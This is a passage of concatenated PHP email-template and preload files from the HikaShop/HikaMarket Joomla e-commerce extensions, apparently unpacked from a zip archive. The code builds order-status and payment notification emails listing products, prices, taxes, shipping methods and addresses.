$data->order->order_discount_tax +
$data->order->order_shipping_tax +
$data->order->order_payment_tax;
$price->price_value = $data->order->order_full_price - $tax;
$price->price_value_with_tax = $data->order->order_full_price;
$data->cart->full_total = new stdClass;
$data->cart->full_total->prices = array($price);
$data->cart->coupon->discount_value =&
$data->order->order_discount_price;
$colspan = 4;
$vendor_name = $data->vendor->vendor_name;
$customer_name = @$data->customer->name;
if(empty($customer_name))
$customer_name =
@$data->cart->billing_address->address_firstname;
$vendor_access = hikamarket::getAclVendor($data->vendor);
$acl = array(
'notify' => hikamarket::aclTest('order/notify',
$vendor_access),
'billingaddress' =>
hikamarket::aclTest('order/show/billingaddress',
$vendor_access),
'shippingaddress' =>
hikamarket::aclTest('order/show/shippingaddress',
$vendor_access),
'customfields' =>
hikamarket::aclTest('order/show/customfields', $vendor_access),
);
$vars = array(
'LIVE_SITE' => HIKASHOP_LIVE,
'URL' => $order_url,
'ORDER_PRODUCT_CODE' =>
(bool)$shopConfig->get('show_code', false),
'order' => $data->cart,
'billing_address' => @$data->cart->billing_address,
'shipping_address' => @$data->cart->shipping_address,
'vendor' => $data->vendor,
'customer' => @$data->customer,
'acl.address' => !$acl['notify'] ||
$acl['billingaddress'] || $acl['shippingaddress'],
'acl.billingaddress' => !$acl['notify'] ||
$acl['billingaddress'],
'acl.shippingaddress' => !$acl['notify'] ||
$acl['shippingaddress'],
);
$texts = array(
'BILLING_ADDRESS' =>
JText::_('HIKASHOP_BILLING_ADDRESS'),
'SHIPPING_ADDRESS' =>
JText::_('HIKASHOP_SHIPPING_ADDRESS'),
'SUMMARY_OF_YOUR_SALE' =>
JText::_('SUMMARY_OF_YOUR_SALE'),
'MAIL_HEADER' => JText::_('HIKASHOP_MAIL_HEADER'),
'PRODUCT_NAME' => JText::_('CART_PRODUCT_NAME'),
'PRODUCT_CODE' => JText::_('CART_PRODUCT_CODE'),
'PRODUCT_PRICE' =>
JText::_('CART_PRODUCT_UNIT_PRICE'),
'PRODUCT_QUANTITY' =>
JText::_('CART_PRODUCT_QUANTITY'),
'PRODUCT_TOTAL' => JText::_('HIKASHOP_TOTAL'),
'ADDITIONAL_INFORMATION' =>
JText::_('ADDITIONAL_INFORMATION'),
'ORDER_TITLE' => JText::_('YOUR_SALE'),
'HI_VENDOR' => JText::sprintf('HI_VENDOR',
$vendor_name),
'ORDER_CHANGED' =>
JText::sprintf('ORDER_STATUS_CHANGED_TO', $url,
$data->mail_status),
'SALE_BEGIN_MESSAGE' =>
JText::sprintf('MAIL_SALE_BEGIN_MESSAGE', $order_number,
$customer_name, HIKASHOP_LIVE),
'SALE_END_MESSAGE' =>
JText::sprintf('MAIL_SALE_END_MESSAGE', HIKASHOP_LIVE) .
'<br/>' . JText::sprintf('BEST_REGARDS_VENDOR',
$vendor_name),
'CUSTOMFIELD_NAME' => '',
'FOOTER_COLSPAN' => 3,
);
if(!empty($data->usermsg->usermsg))
$texts['ORDER_CHANGED'] = $data->usermsg->usermsg;
$templates = array();
$products_ids = array();
foreach($data->cart->products as $item) {
$products_ids[] = $item->product_id;
}
$productClass->getProducts($products_ids);
$cartProducts = array();
$cartFooters = array();
if(!empty($data->cart->products)) {
$fields = null;
if(hikashop_level(1) && $acl['customfields']) {
$null = null;
$fields =
$fieldsClass->getFields('display:mail_status_notif=1', $null,
'product');
if(!empty($fields)){
$product_customfields = array();
$usefulFields = array();
foreach($fields as $field) {
$namekey = $field->field_namekey;
foreach($productClass->all_products as $product) {
if(!empty($product->$namekey)) {
$usefulFields[] = $field;
break;
}
}
}
$fields = $usefulFields;
}
if(!empty($fields)) {
foreach($fields as $field) {
$texts['FOOTER_COLSPAN']++;
$texts['CUSTOMFIELD_NAME'] .= '<td
style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:left;color:#1c8faf
!important;font-size:12px;font-weight:bold;">'.$fieldsClass->getFieldName($field).'</td>';
}
}
}
$group = $shopConfig->get('group_options', 0);
$subtotal = 0;
foreach($data->cart->products as $item) {
if($group && $item->order_product_option_parent_id)
continue;
$product = @$productClass->all_products[$item->product_id];
$cartProduct = array(
'PRODUCT_CODE' => $item->order_product_code,
'PRODUCT_QUANTIY' => $item->order_product_quantity,
'PRODUCT_IMG' => '',
'item' => $item,
'product' => $product,
);
if(!empty($item->images[0]->file_path)) {
$img = $imageHelper->getThumbnail($item->images[0]->file_path,
array(50, 50), array('forcesize' => true, 'scale'
=> 'outside'));
if($img->success) {
$image = str_replace('../', HIKASHOP_LIVE, $img->url);
$cartProduct['PRODUCT_IMG'] = '<img
src="'.$image.'" alt=""
style="float:left;margin-top:3px;margin-bottom:3px;margin-right:6px;max-height:50px;max-width:50px;"/>';
}
}
$t = '<p>' . $item->order_product_name;
if($group) {
$display_item_price = false;
foreach($data->cart->products as $j => $optionElement) {
if($optionElement->order_product_option_parent_id !=
$item->order_product_id) continue;
if($optionElement->order_product_price > 0)
$display_item_price = true;
}
if($display_item_price) {
if($shopConfig->get('price_with_tax'))
$t .= '
'.$currencyHelper->format($item->order_product_price +
$item->order_product_tax, $data->order->order_currency_id);
else
$t .= '
'.$currencyHelper->format($item->order_product_price,
$data->order->order_currency_id);
}
}
$t .= '</p>';
if(!empty($itemFields)) {
foreach($itemFields as $field) {
$namekey = $field->field_namekey;
if(!isset($item->$namekey) || !strlen($item->$namekey))
continue;
$t .= '<p>' . $fieldsClass->getFieldName($field) .
': ' . $fieldsClass->show($field, $item->$namekey,
'user_email') . '</p>';
}
}
$cartProduct['CUSTOMFIELD_VALUE'] = '';
if(!empty($fields) && hikashop_level(1)){
foreach($fields as $field){
$namekey = $field->field_namekey;
$productData = @$productClass->all_products[$item->product_id];
$cartProduct['CUSTOMFIELD_VALUE'] .= '<td
style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">'.(empty($productData->$namekey)?'':$fieldsClass->show($field,$productData->$namekey)).'</td>';
}
}
if($group) {
foreach($data->cart->products as $j => $optionElement) {
if($optionElement->order_product_option_parent_id !=
$item->order_product_id) continue;
$item->order_product_price
+=$optionElement->order_product_price;
$item->order_product_tax +=$optionElement->order_product_tax;
$item->order_product_total_price+=$optionElement->order_product_total_price;
$item->order_product_total_price_no_vat+=$optionElement->order_product_total_price_no_vat;
$t .= '<p
class="hikashop_order_option_name">' .
$optionElement->order_product_name;
if($optionElement->order_product_price > 0) {
if($shopConfig->get('price_with_tax'))
$t .= ' ( +
'.$currencyHelper->format($optionElement->order_product_price +
$optionElement->order_product_tax,$data->order->order_currency_id).'
)';
else
$t .= ' ( +
'.$currencyHelper->format($optionElement->order_product_price,$data->order->order_currency_id).'
)';
}
$t .= '</p>';
}
}
$cartProduct['PRODUCT_NAME'] = $t;
$t = '';
$statusDownload =
explode(',',$shopConfig->get('order_status_for_download','confirmed,shipped'));
if(!empty($item->files) &&
in_array($data->order->order_status, $statusDownload)) {
}
$cartProduct['PRODUCT_DOWNLOAD'] = $t;
if($shopConfig->get('price_with_tax')) {
$unit_price =
$currencyHelper->format($item->order_product_price+$item->order_product_tax,
$data->order->order_currency_id);
$total_price =
$currencyHelper->format($item->order_product_total_price,
$data->order->order_currency_id);
$subtotal += $item->order_product_total_price;
} else {
$unit_price = $currencyHelper->format($item->order_product_price,
$data->order->order_currency_id);
$total_price =
$currencyHelper->format($item->order_product_total_price_no_vat,
$data->order->order_currency_id);
$subtotal += $item->order_product_total_price_no_vat;
}
$cartProduct['PRODUCT_PRICE'] = $unit_price;
$cartProduct['PRODUCT_TOTAL'] = $total_price;
$cartProducts[] = $cartProduct;
}
$templates['PRODUCT_LINE'] = $cartProducts;
if(bccomp($data->order->order_discount_price,0,5) ||
bccomp($data->order->order_shipping_price,0,5) ||
bccomp($data->order->order_payment_price,0,5) ||
($data->cart->full_total->prices[0]->price_value!=$data->cart->full_total->prices[0]->price_value_with_tax)
|| !empty($data->cart->additional)) {
$cartFooters[] = array(
'NAME' => JText::_('SUBTOTAL'),
'VALUE' =>
$currencyHelper->format($subtotal,$data->order->order_currency_id)
);
}
if(bccomp($data->order->order_discount_price,0,5)) {
if($shopConfig->get('price_with_tax'))
$t = $currencyHelper->format($data->order->order_discount_price
* -1, $data->order->order_currency_id);
else
$t =
$currencyHelper->format(($data->order->order_discount_price -
@$data->order->order_discount_tax) * -1,
$data->order->order_currency_id);
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_COUPON'),
'VALUE' => $t
);
}
if(bccomp($data->order->order_shipping_price,0,5)) {
if($shopConfig->get('price_with_tax'))
$t =
$currencyHelper->format($data->order->order_shipping_price,
$data->order->order_currency_id);
else
$t = $currencyHelper->format($data->order->order_shipping_price
- @$data->order->order_shipping_tax,
$data->order->order_currency_id);
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_SHIPPING'),
'VALUE' => $t
);
}
if(bccomp($data->order->order_payment_price,0,5)) {
if($shopConfig->get('price_with_tax'))
$t = $currencyHelper->format($data->cart->order_payment_price,
$data->cart->order_currency_id);
else
$t = $currencyHelper->format($data->cart->order_payment_price -
@$data->cart->order_payment_tax,
$data->cart->order_currency_id);
$cartFooters[] = array(
'NAME' => JText::_('HIKASHOP_PAYMENT'),
'VALUE' => $t
);
}
if(!empty($data->cart->additional)) {
$exclude_additionnal = explode(',',
$shopConfig->get('order_additional_hide', ''));
foreach($data->cart->additional as $additional) {
if(in_array($additional->order_product_name, $exclude_additionnal))
continue;
if(!empty($additional->order_product_price) ||
empty($additionaltionnal->order_product_options)) {
if($shopConfig->get('price_with_tax'))
$t = $currencyHelper->format($additional->order_product_price +
@$additional->order_product_tax,
$data->order->order_currency_id);
else
$t = $currencyHelper->format($additional->order_product_price,
$data->order->order_currency_id);
} else {
$t = $additional->order_product_options;
}
$cartFooters[] = array(
'NAME' => JText::_($additional->order_product_name),
'VALUE' => $t
);
}
}
if($data->cart->full_total->prices[0]->price_value !=
$data->cart->full_total->prices[0]->price_value_with_tax) {
if($shopConfig->get('detailed_tax_display') &&
!empty($data->cart->order_tax_info)) {
foreach($data->cart->order_tax_info as $tax) {
$cartFooters[] = array(
'NAME' => $tax->tax_namekey,
'VALUE' =>
$currencyHelper->format($tax->tax_amount,
$data->order->order_currency_id)
);
}
} else {
$cartFooters[] = array(
'NAME' => JText::_('ORDER_TOTAL_WITHOUT_VAT'),
'VALUE' =>
$currencyHelper->format($data->cart->full_total->prices[0]->price_value,
$data->order->order_currency_id)
);
}
$cartFooters[] = array(
'NAME' => JText::_('ORDER_TOTAL_WITH_VAT'),
'VALUE' =>
$currencyHelper->format($data->cart->full_total->prices[0]->price_value_with_tax,
$data->order->order_currency_id)
);
} else {
$cartFooters[] = array(
'NAME' =>
JText::_('HIKAM_CUSTOMER_FINAL_TOTAL'),
'VALUE' =>
$currencyHelper->format($data->cart->full_total->prices[0]->price_value_with_tax,
$data->order->order_currency_id)
);
}
$vendor_price =
(float)hikamarket::toFloat($data->cart->order_vendor_price);
if($vendor_price < 0)
$vendor_price +=
$data->cart->full_total->prices[0]->price_value_with_tax;
if($vendor_price != 0) {
$cartFooters[] = array(
'NAME' => JText::_('HIKAM_VENDOR_FINAL_TOTAL'),
'VALUE' => $currencyHelper->format($vendor_price,
$data->order->order_currency_id)
);
}
$templates['ORDER_FOOTER'] = $cartFooters;
}
if(!empty($data->cart->order_payment_method)) {
if(!is_numeric($data->cart->order_payment_id)) {
$vars['PAYMENT'] =
$data->cart->order_payment_method.'
'.$data->cart->order_payment_id;
} else {
$paymentClass = hikamarket::get('shop.class.payment');
$payment = $paymentClass->get($data->cart->order_payment_id);
if(!empty($payment))
$vars['PAYMENT'] = $payment->payment_name;
unset($paymentClass);
}
}
if(!empty($data->cart->order_shipping_id)) {
$shippingClass = hikamarket::get('shop.class.shipping');
if(!empty($data->cart->order_shipping_method)) {
if(!is_numeric($data->cart->order_shipping_id)) {
$shipping_name =
$shippingClass->getShippingName($data->cart->order_shipping_method,
$data->cart->order_shipping_id);
$vars['SHIPPING'] = $shipping_name;
$vars['SHIPPING_TXT'] = $vars['SHIPPING'];
} else {
$shipping =
$shippingClass->get($data->cart->order_shipping_id);
$vars['SHIPPING'] = $shipping->shipping_name;
$vars['SHIPPING_TXT'] = $vars['SHIPPING'];
}
} else {
$shippings_data = array();
$shipping_ids = explode(';',
$data->cart->order_shipping_id);
$shippingClass = hikamarket::get('shop.class.shipping');
foreach($shipping_ids as $key) {
$shipping_data = '';
list($k, $w) = explode('@', $key);
$shipping_id = $k;
if(isset($data->cart->shippings[$shipping_id])) {
$shipping = $data->cart->shippings[$shipping_id];
$shipping_data = $shipping->shipping_name;
} else {
foreach($data->cart->products as $order_product) {
if($order_product->order_product_shipping_id == $key) {
if(!is_numeric($order_product->order_product_shipping_id)) {
$shipping_name =
$shippingClass->getShippingName($order_product->order_product_shipping_method,
$shipping_id);
$shipping_data = $shipping_name;
} else {
$shipping_method_data = $shippingClass->get($shipping_id);
$shipping_data = $shipping_method_data->shipping_name;
}
break;
}
}
if(empty($shipping_data))
$shipping_data = '[ ' . $key . ' ]';
}
if(isset($data->cart->order_shipping_params->prices[$key])) {
$price_params =
$data->cart->order_shipping_params->prices[$key];
if($shopConfig->get('price_with_tax'))
$shipping_data .= ' (' .
$currencyHelper->format($price_params->price_with_tax,
$data->cart->order_currency_id) . ')';
else
$shipping_data .= ' (' .
$currencyHelper->format($price_params->price_with_tax -
@$price_params->tax, $data->cart->order_currency_id) .
')';
}
$shippings_data[] = $shipping_data;
}
if(!empty($shippings_data)) {
$vars['SHIPPING'] =
'<ul><li>'.implode('</li><li>',
$shippings_data).'</li></ul>';
$vars['SHIPPING_TXT'] = ' - ' . implode("\r\n -
", $shippings_data);
}
}
unset($shippingClass);
} else {
$vars['SHIPPING'] = '';
}
ob_start();
$sep = '';
if(hikashop_level(2)) {
$fields =
$fieldsClass->getFields('display:mail_status_notif=1',$data,'order','');
foreach($fields as $fieldName => $oneExtraField) {
if(isset($data->$fieldName) &&
!isset($data->cart->$fieldName))
$data->cart->$fieldName = $data->$fieldName;
if(empty($data->cart->$fieldName))
continue;
echo $sep .
$fieldsClass->trans($oneExtraField->field_realname).' :
'.$fieldsClass->show($oneExtraField,
$data->cart->$fieldName,'user_email');
$sep = '<br />';
}
}
JPluginHelper::importPlugin('hikashop');
JFactory::getApplication()->triggerEvent('onAfterOrderProductsListingDisplay',
array(&$data->cart, 'email_notification_html'));
$content = ob_get_clean();
$vars['ORDER_SUMMARY'] = $content;
$vars['BILLING_ADDRESS'] = '';
$vars['SHIPPING_ADDRESS'] = '';
$params = null;
$js = '';
$template = trim(hikamarket::getLayout($view, 'address_template',
$params, $js));
if(!empty($data->cart->billing_address) &&
!empty($data->cart->fields)) {
$billing = $template;
foreach($data->cart->fields as $field) {
$fieldname = $field->field_namekey;
if(!empty($data->cart->billing_address->$fieldname))
$billing = str_replace('{' . $fieldname . '}',
$fieldsClass->show($field,
$data->cart->billing_address->$fieldname, 'user_email'),
$billing);
}
$vars['BILLING_ADDRESS'] =
str_replace(array("\r\n","\r","\n"),'<br/>',preg_replace('#{(?:(?!}).)*}#i','',$billing));
}
if(!empty($data->cart->override_shipping_address)) {
$vars['SHIPPING_ADDRESS'] =
$data->cart->override_shipping_address;
} elseif(!empty($data->cart->order_shipping_id) &&
!empty($data->cart->shipping_address)) {
$shipping = $template;
foreach($data->cart->fields as $field) {
$fieldname = $field->field_namekey;
if(!empty($data->cart->shipping_address->$fieldname))
$shipping = str_replace('{' . $fieldname . '}',
$fieldsClass->show($field,
$data->cart->shipping_address->$fieldname,
'user_email'), $shipping);
}
$vars['SHIPPING_ADDRESS'] = str_replace(array("\r\n",
"\r", "\n"), '<br/>',
preg_replace('#{(?:(?!}).)*}#i', '', $shipping));
} else {
$vars['SHIPPING_ADDRESS'] = $vars['BILLING_ADDRESS'];
}
PK�[��t t %order_status_notification.preview.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class market_order_status_notificationPreviewMaker {
public $displaySubmitButton = false;
public $type = 'order';
public function prepareMail($data = null) {
if(empty($data))
return $this->getDefaultData();
$orderClass = hikashop_get('class.order');
$order = $orderClass->loadFullOrder((int)$data);
if(empty($order->mail_status))
$order->mail_status =
hikamarket::orderStatus(@$order->order_status);
else
$order->mail_status =
hikamarket::orderStatus($order->mail_status);
if(isset($order->hikamarket->vendor)) {
$order->vendor = $order->hikamarket->vendor;
} else {
$vendorClass = hikamarket::get('class.vendor');
$vendor_id = max(1, (int)$order->order_vendor_id);
$order->vendor = $vendorClass->get($vendor_id);
}
$mailClass = hikamarket::get('class.mail');
$mail = $mailClass->load('order_status_notification',
$order);
$mail->hikamarket = true;
if(empty($mail->subject))
$mail->subject =
'MARKET_ORDER_STATUS_NOTIFICATION_SUBJECT';
$mail->dst_email = $order->vendor->vendor_email;
$mail->dst_name = $order->vendor->vendor_name;
return $mail;
}
public function getDefaultData() {
}
public function getSelector($data) {
$nameboxType = hikashop_get('type.namebox');
$html = $nameboxType->display(
'data',
(int)$data,
hikashopNameboxType::NAMEBOX_SINGLE,
'order',
array(
'delete' => false,
'default_text' =>
'<em>'.JText::_('HIKA_NONE').'</em>',
'returnOnEmpty' => false,
)
);
if(!$html){
hikashop_display(JText::_('PLEASE_FIRST_CREATE_AN_ORDER'),
'info');
return;
}
if(empty($data)) {
echo
hikashop_display(Jtext::_('PLEASE_SELECT_AN_ORDER_FOR_THE_PREVIEW'));
}
?>
<dl class="hika_options">
<dt><?php echo JText::_('HIKASHOP_ORDER');
?></dt>
<dd><?php echo $html; ?></dd>
</dl>
<script type="text/javascript">
window.Oby.ready(function() {
var w = window;
if(!w.oNameboxes['data'])
return;
w.oNameboxes['data'].register('set', function(e) {
hikashop.submitform('preview','adminForm');
});
});
</script>
<?php
}
}
PK�[5��Ntt"order_status_notification.text.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php echo
JText::sprintf('HI_CUSTOMER',@$data->customer->name)."\n"."\n";?>
<?php
$url = $data->order_number;
$config =& hikashop_config();
if($config->get('simplified_registration',0)!=2){
$url .= "\n".'( '.$data->order_url.'
)'."\n";
}
if(!empty($data->usermsg->usermsg)){
echo $data->usermsg->usermsg;
}else{
echo
JText::sprintf('ORDER_STATUS_CHANGED_TO',$url,$data->mail_status);
}
echo "\n"."\n";
?>
<?php echo
JText::sprintf('THANK_YOU_FOR_YOUR_ORDER',HIKASHOP_LIVE)."\n"."\n"."\n";?>
<?php echo
str_replace('<br/>',"\n",JText::sprintf('BEST_REGARDS_CUSTOMER',$mail->from_name));?>
PK�[, �ԫ�out_of_stock.html.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?> <div style="background-color: #ffffff; font-family: Verdana,
Arial, Helvetica, sans-serif;font-size:12px; color: #000000; width:
100%;">
<table style="margin: auto;font-family: Verdana, Arial, Helvetica,
sans-serif;font-size:12px;" border="0"
cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td height="10">
</td>
</tr>
<tr>
<td>
<br/>
<br/>
<?php
$url =
HIKASHOP_LIVE.'administrator/index.php?option=com_hikashop&ctrl=product&task=edit&cid=';
?>
</td>
</tr>
<tr>
<td height="10">
</td>
</tr>
<?php foreach($data->products as $product){ ?>
<tr>
<td>
<?php echo
JText::sprintf('THE_PRODUCT_IS_OUT_OF_STOCK',$url.$product->product_id,$product->product_name,$product->product_quantity);
?>
</td>
</tr>
<?php } ?>
<tr>
<td height="10">
</td>
</tr>
</tbody>
</table>
</div>
PK�[�b*0
payment_notification.html.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
body { background-color:#ffffff; color:#575757; }
.ReadMsgBody{width:100%;}
.ExternalClass{width:100%;}
div, p, a, li, td {-webkit-text-size-adjust:none;}
@media (min-width:600px){
body {width:600px !important;margin:auto !important;}
.pict img {max-width:500px !important;height:auto !important;}
}
@media (max-width:330px){
body{width:300px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 10px !important;}
.pict img {max-width:278px; height:auto !important;}
}
@media (min-width:331px) and (max-width:480px){
body{width:450px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 20px !important;}
.pict img {max-width:408px; height:auto !important;}
}
h1{color:#1c8faf;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd; padding-bottom:10px;}
h2{color:#89a9c1;font-size:14px;font-weight:bold;margin-top:20px;margin-bottom:5px;border-bottom:1px
solid #d6d6d6;padding-bottom:4px;}
a:visited{cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;}
</style>
<div style="font-family:Arial,
Helvetica,sans-serif;font-size:12px;line-height:18px;width:100%;background-color:#ffffff;padding-bottom:20px;color:#5b5b5b;">
<div class="hikashop_online" style="font-family:Arial,
Helvetica,sans-serif;font-size:11px;line-height:18px;color:#6a5c6b;text-decoration:none;margin:10px;text-align:center;">
<a
style="cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;"
href="{VAR:URL}">
<span class="hikashop_online"
style="color:#6a5c6b;text-decoration:none;font-size:11px;margin-top:10px;margin-bottom:10px;text-align:center;">
{TXT:MAIL_HEADER}
</span>
</a>
</div>
<table class="w600" style="font-family:Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin:auto;background-color:#ebebeb;"
border="0" cellspacing="0" cellpadding="0"
width="600" align="center">
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="bottom">
<img class="w600"
src="{VAR:LIVE_SITE}/media/com_hikashop/images/mail/header_black.png"
border="0" alt="" />
</td>
</tr>
<tr>
<td class="w600" style="" width="600"
align="center">
<table class="w600" border="0"
cellspacing="0" cellpadding="0" width="600"
style="margin:0px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td class="w20" width="20"></td>
<td class="w560 pict" style="text-align:left;
color:#575757" width="560">
<div id="title" style="font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<img
src="{VAR:LIVE_SITE}/media/com_hikashop/images/icons/icon-48-order.png"
border="0" alt=""
style="float:left;margin-right:4px;"/>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold; border-bottom:1px solid #ddd;
padding-bottom:10px">
{TXT:ORDER_TITLE}
</h1>
<h2 style="color:#1c8faf
!important;font-size:12px;font-weight:bold; padding-bottom:10px">
{TXT:ORDER_CHANGED}
</h2>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
<tr>
<td class="w20" width="20"></td>
<td style="border:1px solid
#adadad;background-color:#ffffff;">
<div class="w550" width="550"
id="content" style="font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin-left:5px;margin-right:5px;">
<p>
<h3 style="color:#393939 !important; font-size:14px;
font-weight:normal;
font-weight:bold;margin-bottom:0px;padding:0px;">{TXT:HI_CUSTOMER}</h3>
{TXT:ORDER_BEGIN_MESSAGE}
</p>
<table class="w550" border="0"
cellspacing="0" cellpadding="0" width="550"
style="margin-top:10px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:BILLING_ADDRESS}</td>
<td style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:SHIPPING_ADDRESS}</td>
</tr>
<tr>
<td>{VAR:BILLING_ADDRESS}</td>
<td>{VAR:SHIPPING_ADDRESS}</td>
</tr>
</table>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd;padding-top:10px;padding-bottom:10px;">
{TXT:SUMMARY_OF_YOUR_ORDER}
</h1>
<table class="w550" border="0"
cellspacing="0" cellpadding="0" width="550"
style="margin-top:10px;margin-bottom:10px;font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<tr>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:left;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_NAME}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_PRICE}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_QUANTITY}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_TOTAL}</td>
</tr>
<!--{START:PRODUCT_LINE}-->
<tr>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;">
{LINEVAR:PRODUCT_IMG}
{LINEVAR:PRODUCT_NAME}
{LINEVAR:PRODUCT_DOWNLOAD}
</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_PRICE}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_QUANTIY}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right">{LINEVAR:PRODUCT_TOTAL}</td>
</tr>
<!--{END:PRODUCT_LINE}-->
<!--{START:ORDER_FOOTER}-->
<tr>
<td colspan="3" style="text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{LINEVAR:NAME}</td>
<td style="text-align:right">{LINEVAR:VALUE}</td>
</tr>
<!--{END:ORDER_FOOTER}-->
</table>
<!--{IF:PAYMENT}-->
<p>
{TXT:PAYMENT_METHOD}: {VAR:PAYMENT}
</p>
<!--{ENDIF:PAYMENT}-->
<!--{IF:SHIPPING}-->
<p>
{TXT:HIKASHOP_SHIPPING_METHOD}: {VAR:SHIPPING}
</p>
<!--{ENDIF:SHIPPING}-->
<!--{IF:ORDER_SUMMARY}-->
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd;padding-top:10px;padding-bottom:10px;">
{TXT:ADDITIONAL_INFORMATION}
</h1>
<p style="border-bottom:1px solid
#ddd;padding-bottom:10px;">
{VAR:ORDER_SUMMARY}
</p>
<!--{ENDIF:ORDER_SUMMARY}-->
<p>
{TXT:ORDER_END_MESSAGE}
</p>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
</table>
</td>
</tr>
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="top">
<img class="w600"
src="{VAR:LIVE_SITE}/media/com_hikashop/images/mail/footer_black.png"
border="0" alt="--" />
</td>
</tr>
</table>
</div>
PK�[�\K�=�=
payment_notification.preload.phpnu�[���<?php
/**
* @package HikaShop for Joomla!
* @version 2.2.3
* @author hikashop.com
* @copyright (C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
$app = JFactory::getApplication();
$config = hikashop_config();
$orderClass = hikashop_get('class.order');
$imageHelper = hikashop_get('helper.image');
if(hikashop_level(2)) {
$fieldsClass = hikashop_get('class.field');
$null = null;
$itemFields =
$fieldsClass->getFields('frontcomp',$null,'item');
}
global $Itemid;
$url_itemid = '';
if(!empty($Itemid)) {
$url_itemid = '&Itemid=' . $Itemid;
}
$order_url = $data->order_url;
$mail_status = $data->mail_status;
$customer = $data->customer;
$url = $data->order->order_number;
$data->order->order_url = $order_url;
if($config->get('simplified_registration',0)!=2) {
$url = '<a href="'.$order_url.'">'.
$url.'</a>';
}
$data->cart =
$orderClass->loadFullOrder($data->order_id,true,false);
$data->cart->coupon = new stdClass();
$price = new stdClass();
$tax = $data->cart->order_subtotal -
$data->cart->order_subtotal_no_vat +
$data->order->order_discount_tax +
$data->order->order_shipping_tax;
$price->price_value = $data->order->order_full_price - $tax;
$price->price_value_with_tax = $data->order->order_full_price;
$data->cart->full_total = new stdClass;
$data->cart->full_total->prices = array($price);
$data->cart->coupon->discount_value =&
$data->order->order_discount_price;
if($app->isAdmin()) {
$view = 'order';
} else {
$view = 'address';
}
$colspan = 4;
$customer_name = @$customer->name;
if(empty($customer_name))
$customer_name =
@$data->cart->billing_address->address_firstname;
$vars = array(
'LIVE_SITE' => HIKASHOP_LIVE,
'URL' => $order_url,
);
$texts = array(
'BILLING_ADDRESS' =>
JText::_('HIKASHOP_BILLING_ADDRESS'),
'SHIPPING_ADDRESS' =>
JText::_('HIKASHOP_SHIPPING_ADDRESS'),
'SUMMARY_OF_YOUR_ORDER' =>
JText::_('SUMMARY_OF_YOUR_ORDER'),
'MAIL_HEADER' => JText::_('HIKASHOP_MAIL_HEADER'),
'PRODUCT_NAME' => JText::_('CART_PRODUCT_NAME'),
